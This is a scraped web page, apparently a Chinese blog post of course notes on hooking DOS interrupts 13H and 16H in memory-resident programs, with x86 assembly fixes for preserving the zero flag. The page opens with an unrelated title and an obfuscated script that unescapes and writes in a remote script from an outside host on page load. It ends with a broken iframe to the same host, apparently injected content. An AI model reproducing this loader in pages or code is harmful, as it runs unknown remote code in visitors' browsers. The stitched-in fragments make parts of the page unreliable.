HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
课程设计记录
前两天写了个内存驻留程序想尝试替换13H中断看能不能实现磁盘读写保护
但是似乎完全没用
后来才知道在WINXP里面不管是COMMAND.COM还是CMD.EXE都是不用INT 13H来读写磁盘的
要想达到效果必须进入纯DOS模式
又写了个替换16H中断的内存驻留程序,
NEW16H:
PUSHF
CALL DWORD PTR CS:OLD16H
STI
IRET
又无法正常执行,替换16h中断是实现了,但是调用原中断调用不了,换成09h却一切正常
后来突然想起来dos调用16h中断是先用11h功能判断是否有键,有的话再调用10h功能来读
但是11h功能判断结果是放在ZF标志寄存器里的,我先PUSHF一下最后返回的ZF一定是1
所以DOS一直认为无键可读,所以。。。。
改一下就可以了
NEW16H:
CALL DWORD PTR CS:OLD16H
PUSHF
STI
IRET
为了维持堆栈平衡,PUSHF不能丢,不过要换个位置
这完全是自己想出来的,不知道对不对
以上还是有问题,会让dos死掉
仔细分析一下,调用16h中断的顺序是先pushf,接着再cs,ip
16h中断修改zf其实是修改的ss:sp+4位置的字变量,所以
应该先pushf待返回之后把当前flag写到sp+4位置去
然后返回才对,如下:
NEW16H:
PUSHF
CALL DWORD PTR CS:OLD16H
STI
PUSH AX
PUSH BP
PUSHF
POP AX
MOV BP,SP
ADD BP,8 ;因为上面还有ax和bp所以+8而不是+4
MOV [BP],AX
POP BP
POP AX
IRET
其实用带参数的ret就可以了
ret 2
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">